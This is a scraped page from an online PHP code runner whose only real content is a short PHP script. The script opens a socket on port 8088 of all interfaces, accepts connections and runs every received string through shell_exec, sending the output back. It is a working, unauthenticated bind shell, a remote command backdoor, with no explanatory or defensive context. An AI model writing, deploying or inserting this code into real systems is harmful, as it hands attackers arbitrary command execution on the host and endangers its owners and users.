PHPize Online / SQLize Online  /  SQLtest Online

A A A
Share      Blog   Popular
Copy Format Clear
Copy Clear
Copy Format Clear
<?php set_time_limit(0); $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n"); $result = socket_bind($socket, '0.0.0.0', '8088') or die("Could not bind to socket\n"); $result = socket_listen($socket, 3) or die("Could not set up socket listener\n"); while(true) { $spawn = socket_accept($socket) or die("Could not accept incoming connection\n"); while(true) { $input = socket_read($spawn, 2048) or die("Could not read input\n"); $output = shell_exec($input); socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n"); } }
Show:  
Copy Clear